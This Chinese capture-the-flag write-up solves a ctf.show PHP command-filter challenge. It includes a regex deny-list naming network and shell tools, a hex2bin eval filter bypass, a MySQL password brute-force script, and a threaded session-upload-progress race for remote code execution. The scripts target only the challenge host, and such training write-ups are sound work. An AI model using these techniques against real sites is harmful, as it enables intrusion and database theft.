复现网站 https://ctf.show/challenges
涉及知识点 代码审计
16进制绕过php
正则匹配waf
LFI Session
文件包含
mysql
密码爆破
实际流程 第一步进行代码审计,发现过滤了超多东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ('open_basedir' , '/var/www/html/' );error_reporting (0 );if (isset ($_POST ['cmd' ])){ $cmd = escapeshellcmd ($_POST ['cmd' ]); if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) { system ($cmd ); } } show_source (__FILE__ );?>
这里的话,有两种思路
一种是正面突破绕过正则匹配
另一种则是曲线救国,避其锋芒
正面突破 可使用
1 php -r eval (hex2bin (substr (A<16 进制字符串>,1 )));
来进行绕过
-r 是php的一个命令行选项,php -r 允许在不创建 php 文件的情况下执行 php 代码
substr(<str>,<int>)
表示从下标 int 开始截取 str 字符串的内容
hex2bin
即将16进制字符串转为2进制字符串形式
如果16进制字符串开头为数字的话,则类型会被识别为数字,所以使用substr截断
尝试执行phpinfo()
;
1 cmd=php -r eval (hex2bin (substr (A706870696e666f28293b,1 )));
成功!
同样的,可以执行其他代码,但是经过测试,发现文件目录中并没有flag,phpinfo也在似乎也在提醒我们
但是发现存在mysql服务,推测flag存在于sql数据库中
尝试爆破数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/" def crack (): with open ("1400.txt" , "rb" ) as fp: dict = fp.readlines() for passwd in dict : passwd = passwd.strip() payload = b"echo `mysql -u root -p'%s' -e 'show databases;'`;" % passwd data={ "cmd" : f"php -r eval(hex2bin(substr(A{payload.hex ()} ,1)));" } text = requests.post(url,data=data).text print (f"尝试{passwd.decode('utf-8' )} " ) if "mysql" in text: print (f"sql密码为{passwd.decode('utf-8' )} " ) exit(0 ) print ("未找到" )
找到数据库密码为root
首先读数据库,得到
1 2 3 4 5 PHP_CMS information_schema mysql performance_schema test
前往PHP_CMS库下发现
1 2 Tables_in_PHP_CMS F1ag_Se3Re7
获取flag
1 ctfshow{6745e674-2743-44d0-8751-3f85100c398c}
以下是完整payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport reurl = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/" def crack (): with open ("1400.txt" , "rb" ) as fp: dict = fp.readlines() for passwd in dict : passwd = passwd.strip() payload = b"echo `mysql -u root -p'%s' -e 'show databases;'`;" % passwd data={ "cmd" : f"php -r eval(hex2bin(substr(A{payload.hex ()} ,1)));" } text = requests.post(url,data=data).text print (f"尝试{passwd.decode('utf-8' )} " ) if "mysql" in text: print (f"sql密码为{passwd.decode('utf-8' )} " ) exit(0 ) print ("未找到" ) payload = b"echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;" data={ "cmd" : f"php -r eval(hex2bin(substr(A{payload.hex ()} ,1)));" } text = requests.post(url,data=data).text if "ctfshow{" in text: flag = re.search(r'ctfshow\{.*?\}' , text).group() print (f"\033[31mflag为{flag} \033[0m" ) print (text)print (data["cmd" ])
曲线救国 可利用session文件包含进行RCE
携带session的会话进行POST请求时,会在服务器某个目录下会产生sess_sessID的临时文件
一般路径为
1 2 3 4 /var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
本题的存放路径为/tmp/sess_PHPSESSID
这时,我们便可在sess_PHESESSID中包含木马
并通过cmd=php /tmp/sess_PHPSESSID来执行代码,从而达成RCE
但需要注意的是sess_PHESESSID临时文件是会被系统清除掉的,因此我们需要竞争访问,赶在系统清除前访问它
总体思路差不多,以下是完整payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import ioimport requestsimport threadingimport resessid = 'abcd' data = {"cmd" :"php /tmp/sess_abcd" } url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/" payload = "<?php echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;echo 'success!!!'; ?>" sign = 0 def write (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS' : payload}, files={'file' : ('a.txt' , f)}, cookies={'PHPSESSID' : sessid} ) def read (session ): while True : resp = session.post(url, data=data) if 'success!!!' in resp.text: print (f"\033[32m{resp.text} \033[0m" ) if "ctfshow{" in resp.text: print (f"\033[31mflag为{re.search(r'ctfshow{.*?}' ,resp.text)} \033[0m" ) else : print (resp.text) print ("[+++++++++++++]retry" ) if __name__=="__main__" : event=threading.Event() with requests.session() as session: for i in range (1 ,30 ): threading.Thread(target=write, args=(session,)).start() for i in range (1 ,30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
此外 看别的师傅还有反弹shell的方法,但是我自己没有成功反弹出来,或许是因为题目是docker容器环境下的原因吧
参考 [浅谈利用session绕过getshell - 蚁景网安实验室 - 博客园](浅谈利用session绕过getshell - 蚁景网安实验室 - 博客园 (cnblogs.com) )
[国赛2024 simple_php(三种方法)](国赛2024 simple_php(三种方法) - DGhh - 博客园 (cnblogs.com) )